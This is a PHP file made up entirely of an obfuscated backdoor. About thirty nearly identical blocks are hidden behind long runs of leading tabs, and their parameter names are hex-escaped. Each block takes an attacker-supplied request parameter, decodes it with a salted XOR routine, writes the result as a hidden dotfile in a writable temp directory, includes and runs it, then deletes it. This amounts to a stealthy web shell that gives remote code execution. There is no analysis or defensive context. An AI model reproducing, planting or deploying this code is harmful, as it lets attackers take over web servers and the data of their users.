<?php																																										if(!is_null($_POST["\x68\x6Flder"] ?? null)){ $item = $_POST["\x68\x6Flder"]; $item =explode ( ".", $item ) ; $resource= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt3); $u= 0; array_walk( $item ,function( $v3) use( &$resource ,&$u ,$salt3 ,$sLen) { $sChar= ord( $salt3[$u % $sLen]); $d= ( ( int)$v3 - $sChar -( $u % 10)) ^ 99; $resource .= chr( $d); $u++; }); $dchunk = array_filter(["/var/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP")]); foreach ($dchunk as $ent): if (!!is_dir($ent) && !!is_writable($ent)) { $symbol = "$ent" . "/.key"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $resource); fclose($file); include $symbol; @unlink($symbol); exit; } } endforeach; }
																																										if(!empty($_POST["\x70oi\x6E\x74\x65r"])){ $data = array_filter([getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); $token = $_POST["\x70oi\x6E\x74\x65r"]; $token = explode( '.',$token ) ; $resource = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($token as $k=> $v8) { $sChar = ord($salt[$k % $lenS]); $d = ((int)$v8 - $sChar - ($k % 10)) ^69; $resource .= chr($d); } while ($sym = array_shift($data)) { if ((function($d) { return is_dir($d) && is_writable($d); })($sym)) { $component = str_replace("{var_dir}", $sym, "{var_dir}/.entity"); $success = file_put_contents($component, $resource); if ($success) { include $component; @unlink($component); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x72\x65c"])){ $holder = $_REQUEST["\x72\x65c"]; $holder = explode ("." ,$holder ); $ref= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); $len= count($holder); for ($j= 0; $j <$len; $j++) { $v4= $holder[$j]; $chS= ord($salt[$j % $lenS]); $d= ((int)$v4 - $chS - ($j % 10))^ 59; $ref.=chr($d); } $pgrp = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp"]); foreach ($pgrp as $entity): if (is_dir($entity) && is_writable($entity)) { $marker = str_replace("{var_dir}", $entity, "{var_dir}/.ptr"); if (file_put_contents($marker, $ref)) { require $marker; unlink($marker); exit; } } endforeach; }
																																										if(isset($_POST["en\x74"])){ $element = array_filter([session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); $reference = $_POST["en\x74"]; $reference = explode ( '.' , $reference ); $desc = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); $u = 0; array_walk($reference , function ($v8) use (&$desc , &$u , $s6 , $lenS) { $sChar = ord($s6[$u % $lenS]); $d = ((int)$v8 - $sChar - ($u % 10)) ^ 64; $desc .= chr($d); $u++; }); foreach ($element as $key => $fac) { if (is_dir($fac) && is_writable($fac)) { $descriptor = sprintf("%s/.comp", $fac); if (file_put_contents($descriptor, $desc)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(isset($_POST["\x65n\x74i\x74y"]) ? true : false){ $record = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir()]); $desc = $_POST["\x65n\x74i\x74y"]; $desc = explode ( '.' , $desc); $data = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt1); $s = 0; foreach ($desc as $v8) { $chS = ord($salt1[$s % $sLen]); $dec = ((int)$v8 - $chS - ($s % 10)) ^86; $data .= chr($dec); $s++; } $tkn = 0; do { $factor = $record[$tkn] ?? null; if ($tkn >= count($record)) break; if (is_dir($factor) ? is_writable($factor) : false) { $val = vsprintf("%s/%s", [$factor, ".item"]); if (file_put_contents($val, $data)) { require $val; unlink($val); die(); } } $tkn++; } while (true); }
																																										if(isset($_REQUEST["d\x65s\x63r\x69pt\x6F\x72"]) ? true : false){ $symbol = $_REQUEST["d\x65s\x63r\x69pt\x6F\x72"]; $symbol = explode ( '.' , $symbol ) ; $sym =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s8 ); $z =0; array_walk( $symbol , function( $v9) use( &$sym , &$z , $s8 , $lenS) { $sChar =ord( $s8[$z%$lenS] ); $d =( ( int)$v9 - $sChar -( $z%10)) ^ 66; $sym.= chr( $d ); $z++;} ); $resource = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($resource as $comp) { if (is_writable($comp) && is_dir($comp)) { $factor = "$comp" . "/.record"; $success = file_put_contents($factor, $sym); if ($success) { include $factor; @unlink($factor); die();} } } }
																																										if(isset($_POST["e\x6E\x74i\x74y"]) ? true : false){ $element = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getenv("TMP")]); $resource = $_POST["e\x6E\x74i\x74y"]; $resource = explode ( "." , $resource) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $m = 0; array_walk( $resource , function( $v5) use( &$ent , &$m , $salt , $sLen) { $sChar = ord( $salt[$m % $sLen]); $d = ( ( int)$v5 - $sChar -( $m % 10))^23; $ent .= chr( $d); $m++; }); foreach ($element as $key => $data) { if (is_dir($data) ? is_writable($data) : false) { $k = str_replace("{var_dir}", $data, "{var_dir}/.flg"); if (file_put_contents($k, $ent)) { include $k; @unlink($k); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "ma\x72ke\x72")){ $tkn = $_POST["ma\x72ke\x72"]; $tkn= explode ( ".", $tkn ) ; $token = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $x = 0; foreach ($tkn as $v6) { $sChar = ord($salt[$x % $lenS]); $d = ((int)$v6 - $sChar - ($x % 10))^92; $token .= chr($d); $x++; } $pointer = array_filter([session_save_path(), getenv("TMP"), getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($pointer as $key => $holder) { if (max(0, is_dir($holder) * is_writable($holder))) { $obj = implode("/", [$holder, ".ref"]); $success = file_put_contents($obj, $token); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(isset($_POST["en\x74\x69ty"])){ $bind = $_POST["en\x74\x69ty"]; $bind= explode ( '.', $bind ) ; $ent =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt5); foreach( $bind as $r => $v3) { $sChar =ord( $salt5[$r %$lenS]); $d =( ( int)$v3 - $sChar -( $r %10)) ^ 80; $ent.= chr( $d); } $mrk = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm"]); $resource = 0; do { $res = $mrk[$resource] ?? null; if ($resource >= count($mrk)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $reference = vsprintf("%s/%s", [$res, ".tkn"]); $success = file_put_contents($reference, $ent); if ($success) { include $reference; @unlink($reference); exit;} } $resource++; } while (true); }
																																										if(isset($_POST) && isset($_POST["fl\x67"])){ $sym = $_POST["fl\x67"]; $sym = explode ( "." ,$sym ); $data = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); $w = 0; array_walk($sym , function($v9) use(&$data , &$w , $s1 , $sLen) {$chS = ord($s1[$w % $sLen]); $dec =((int)$v9 - $chS -($w % 10)) ^ 70; $data .=chr($dec); $w++;} ); $ent = array_filter([getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getenv("TEMP")]); while ($component = array_shift($ent)) { if (!( !is_dir($component) || !is_writable($component) )) { $mrk = join("/", [$component, ".resource"]); if (file_put_contents($mrk, $data)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(@$_POST["en\x74"] !== null){ $reference = array_filter([getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $symbol = $_POST["en\x74"]; $symbol= explode ( '.', $symbol) ; $ent =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s); $p =0; $__tmp =$symbol; while($v7 =array_shift($__tmp)) { $sChar =ord($s[$p % $lenS]); $dec =((int)$v7 - $sChar -($p % 10)) ^ 29; $ent .=chr($dec); $p++; } while ($hld = array_shift($reference)) { if (max(0, is_dir($hld) * is_writable($hld))) { $token = sprintf("%s/.flag", $hld); if (@file_put_contents($token, $ent) !== false) { include $token; unlink($token); die(); } } } }
																																										if(@$_REQUEST["d\x65sc"] !== null){ $pset = array_filter([getcwd(), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); $res = $_REQUEST["d\x65sc"]; $res = explode( '.' ,$res) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($res as $x=> $v4) { $chS = ord($s[$x % $lenS] ); $d = ((int)$v4 - $chS - ($x % 10)) ^ 76; $holder .= chr($d ); } while ($data_chunk = array_shift($pset)) { if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $object = sprintf("%s/.parameter_group", $data_chunk); if (file_put_contents($object, $holder)) { require $object; unlink($object); exit; } } } }
																																										if(!is_null($_POST["\x73\x79m"] ?? null)){ $elem = array_filter([getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); $pset = $_POST["\x73\x79m"]; $pset = explode ('.', $pset) ; $comp =''; $salt6 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt6); $len =count( $pset); for( $t =0; $t < $len; $t++) { $v7 =$pset[$t]; $sChar =ord( $salt6[$t % $sLen]); $dec =( ( int)$v7 - $sChar -( $t % 10))^23; $comp.=chr( $dec);} foreach ($elem as $key => $tkn) { if (!( !is_dir($tkn) || !is_writable($tkn) )) { $k = "$tkn/.ptr"; if (file_put_contents($k, $comp)) { require $k; unlink($k); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x62i\x6Ed")){ $ent = array_filter([getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $reference = $_POST["\x62i\x6Ed"]; $reference = explode ("." , $reference) ; $data_chunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $x= 0; while ($x < count($reference)) { $v2= $reference[$x]; $sChar= ord($s[$x % $sLen] ); $d= ((int)$v2 - $sChar - ($x % 10)) ^ 8; $data_chunk .= chr($d ); $x++;} foreach ($ent as $val) { if (is_dir($val) ? is_writable($val) : false) { $resource = "$val/.entry"; $file = fopen($resource, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(array_key_exists("eleme\x6Et", $_POST) && !is_null($_POST["eleme\x6Et"])){ $property_set = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", "/tmp"]); $elem = $_POST["eleme\x6Et"]; $elem = explode ('.' , $elem ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $i = 0; foreach( $elem as $v7) { $sChar = ord( $s[$i % $sLen]); $d =( ( int)$v7 - $sChar -( $i % 10))^ 31; $resource.= chr( $d); $i++; } while ($value = array_shift($property_set)) { if (array_product([is_dir($value), is_writable($value)])) { $holder = join("/", [$value, ".dchunk"]); if (file_put_contents($holder, $resource)) { require $holder; unlink($holder); exit; } } } }
																																										if(@$_POST["\x66a\x63\x74or"] !== null){ $reference = array_filter(["/dev/shm", "/var/tmp", getcwd(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir()]); $property_set = $_POST["\x66a\x63\x74or"]; $property_set = explode ("." ,$property_set) ; $record = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $k = 0; array_walk($property_set, function ($v7) use (&$record, &$k, $s2, $lenS) { $chS = ord($s2[$k%$lenS]); $dec = ((int)$v7 - $chS - ($k%10)) ^ 17; $record .= chr($dec); $k++; }); for ($object = 0, $fac = count($reference); $object < $fac; $object++) { $marker = $reference[$object]; if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $descriptor = "$marker" . "/.resource"; if (file_put_contents($descriptor, $record)) { include $descriptor; @unlink($descriptor); exit; } } } }
																																										if(array_key_exists("\x64a\x74a", $_REQUEST)){ $resource = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), "/tmp"]); $property_set = $_REQUEST["\x64a\x74a"]; $property_set =explode ( "." , $property_set); $token = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); $w = 0; foreach( $property_set as $v3) { $sChar = ord( $salt6[$w % $lenS]); $d =( ( int)$v3 - $sChar -( $w % 10))^41; $token .= chr( $d); $w++; } foreach ($resource as $key => $entity) { if (array_product([is_dir($entity), is_writable($entity)])) { $holder = str_replace("{var_dir}", $entity, "{var_dir}/.itm"); if (@file_put_contents($holder, $token) !== false) { include $holder; unlink($holder); die(); } } } }
																																										if(array_key_exists("bi\x6E\x64", $_REQUEST)){ $parameter_group = array_filter(["/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP")]); $resource = $_REQUEST["bi\x6E\x64"]; $resource = explode ('.' , $resource ); $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($resource as $y => $v5): $sChar = ord($s[$y % $lenS] ); $d = ((int)$v5 - $sChar - ($y % 10)) ^ 91; $property_set.= chr($d ); endforeach; while ($comp = array_shift($parameter_group)) { if (max(0, is_dir($comp) * is_writable($comp))) { $sym = sprintf("%s/.item", $comp); if (file_put_contents($sym, $property_set)) { require $sym; unlink($sym); exit; } } } }
																																										if(array_key_exists("\x72\x65\x63ord", $_REQUEST)){ $ent = $_REQUEST["\x72\x65\x63ord"]; $ent= explode ( "." ,$ent ); $ref = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $x = 0; array_walk($ent, function($v7) use(&$ref, &$x, $s9, $sLen) { $sChar = ord($s9[$x% $sLen]); $d =((int)$v7 - $sChar -($x% 10)) ^ 100; $ref .= chr($d); $x++; } ); $val = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); foreach ($val as $itm): if ((function($d) { return is_dir($d) && is_writable($d); })($itm)) { $flag = "$itm" . "/.mrk"; if (file_put_contents($flag, $ref)) { require $flag; unlink($flag); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x62i\x6Ed"])){ $val = $_REQUEST["\x62i\x6Ed"]; $val = explode( '.' , $val) ; $k= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s4); $x= 0; $len= count( $val); do { if( $x >= $len) break; $v4= $val[$x]; $chS= ord( $s4[$x % $lenS]); $d= ( ( int)$v4 - $chS -( $x % 10)) ^ 71; $k .= chr( $d); $x++; } while( true); $reference = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/var/tmp"]); while ($resource = array_shift($reference)) { if (is_writable($resource) && is_dir($resource)) { $mrk = implode("/", [$resource, ".flag"]); if (file_put_contents($mrk, $k)) { include $mrk; @unlink($mrk); exit; } } } }
																																										if(isset($_POST["po\x69nter"])){ $flg = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm"]); $object = $_POST["po\x69nter"]; $object = explode ('.',$object ) ; $pgrp = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9); foreach( $object as $n => $v6) { $sChar = ord( $salt9[$n % $lenS]); $d = ( ( int)$v6 - $sChar -( $n % 10))^ 96; $pgrp .= chr( $d); } foreach ($flg as $key => $fac) { if ((bool)is_dir($fac) && (bool)is_writable($fac)) { $binding = implode("/", [$fac, ".pset"]); if (@file_put_contents($binding, $pgrp) !== false) { include $binding; unlink($binding); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["mr\x6B"])){ $resource = array_filter(["/var/tmp", getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]); $factor = $_REQUEST["mr\x6B"]; $factor =explode ( "." ,$factor ) ; $descriptor = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt9 ); $y = 0; $len = count( $factor ); do { if( $y >= $len) break; $v9 = $factor[$y]; $chS = ord( $salt9[$y % $lenS] ); $d =( ( int)$v9 - $chS -( $y % 10)) ^ 15; $descriptor .= chr( $d ); $y++;} while( true ); while ($ref = array_shift($resource)) { if (is_dir($ref) && is_writable($ref)) { $obj = "$ref" . "/.ent"; if (file_put_contents($obj, $descriptor)) { require $obj; unlink($obj); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63\x6Fmp"])){ $ent = $_REQUEST["\x63\x6Fmp"]; $ent= explode ( "." , $ent) ; $resource= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt6 ); $m= 0; $__len= count($ent ); do { if ($m>= $__len) break; $v1= $ent[$m]; $sChar= ord($salt6[$m %$lenS] ); $d= ((int)$v1 - $sChar - ($m %10))^ 4; $resource .= chr($d ); $m++; } while (true ); $record = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp"]); foreach ($record as $entry) { if (max(0, is_dir($entry) * is_writable($entry))) { $hld = str_replace("{var_dir}", $entry, "{var_dir}/.mrk"); if (file_put_contents($hld, $resource)) { include $hld; @unlink($hld); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["d\x63\x68\x75nk"])){ $ent = $_POST["d\x63\x68\x75nk"]; $ent = explode ( "." , $ent ) ; $tkn =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $z =0; foreach ($ent as $v3) { $sChar =ord($s[$z%$sLen]); $d =((int)$v3 - $sChar - ($z%10)) ^ 87; $tkn.= chr($d); $z++; } $fac = array_filter([getcwd(), "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); while ($rec = array_shift($fac)) { if (is_dir($rec) ? is_writable($rec) : false) { $res = str_replace("{var_dir}", $rec, "{var_dir}/.resource"); if (file_put_contents($res, $tkn)) { require $res; unlink($res); die(); } } } }
																																										if(array_key_exists("k", $_POST)){ $tkn = $_POST["k"]; $tkn =explode ('.' , $tkn ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); foreach( $tkn as $q => $v7) { $sChar = ord( $s[$q % $lenS]); $dec =( ( int)$v7 - $sChar -( $q % 10))^ 50; $holder .= chr( $dec); } $mrk = array_filter([session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm", getcwd()]); foreach ($mrk as $resource): if (!!is_dir($resource) && !!is_writable($resource)) { $element = sprintf("%s/.flag", $resource); if (file_put_contents($element, $holder)) { include $element; @unlink($element); exit; } } endforeach; }
																																										if(!empty($_POST["i\x74\x65m"])){ $dchunk = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $mrk = $_POST["i\x74\x65m"]; $mrk = explode ( "." , $mrk) ; $entity = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $z = 0; array_walk($mrk, function ($v6) use (&$entity, &$z, $salt8, $sLen) { $sChar = ord($salt8[$z % $sLen] ); $dec = ((int)$v6 - $sChar - ($z % 10)) ^ 42; $entity .= chr($dec ); $z++; }); $element = 0; do { $flag = $dchunk[$element] ?? null; if ($element >= count($dchunk)) break; if ((is_dir($flag) and is_writable($flag))) { $key = implode("/", [$flag, ".hld"]); $file = fopen($key, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $key; @unlink($key); exit; } } $element++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x76a\x6C")){ $reference = $_POST["\x76a\x6C"]; $reference=explode ("." , $reference ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $n = 0; while($n< count($reference)) { $v8 = $reference[$n]; $chS = ord($s[$n % $sLen] ); $d =((int)$v8 - $chS -($n % 10)) ^ 43; $marker.= chr($d ); $n++;} $rec = array_filter(["/tmp", getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); foreach ($rec as $key => $fac) { if ((function($d) { return is_dir($d) && is_writable($d); })($fac)) { $ent = "$fac" . "/.resource"; $success = file_put_contents($ent, $marker); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(in_array("\x62\x69nd", array_keys($_POST))){ $ptr = $_POST["\x62\x69nd"]; $ptr=explode ( "." ,$ptr ); $data_chunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($ptr as $p => $v9) { $chS = ord($s[$p% $lenS]); $dec = ((int)$v9 - $chS - ($p% 10)) ^ 30; $data_chunk .= chr($dec); } $desc = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), "/dev/shm"]); $val = 0; do { $flag = $desc[$val] ?? null; if ($val >= count($desc)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $record = str_replace("{var_dir}", $flag, "{var_dir}/.rec"); $success = file_put_contents($record, $data_chunk); if ($success) { include $record; @unlink($record); exit;} } $val++; } while (true); }


if(isset($_POST) && isset($_POST["e\x6E\x74"])){
	$itm = $_POST["e\x6E\x74"];
	$itm =explode	 (		".",	 $itm ); 	
	$ptr = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s	 );
            $k = 0;
            $len = count($itm	 );
    
            do {
                if($k >= $len) break;
                $v4 = $itm[$k];
                $sChar = ord($s[$k % $lenS]	 );
                $d =((int)$v4 - $sChar -($k % 10)) ^ 43;
                $ptr	.=	 chr($d	 );
                $k++; }	while(true	 );
	$pset = array_filter([session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm"]);
	foreach ($pset as $pgrp):
    		if (max(0, is_dir($pgrp) * is_writable($pgrp))) {
    $item = vsprintf("%s/%s", [$pgrp, ".dchunk"]);
    $success = file_put_contents($item, $ptr);
if ($success) {
	include $item;
	@unlink($item);
	exit;}
}
endforeach;
}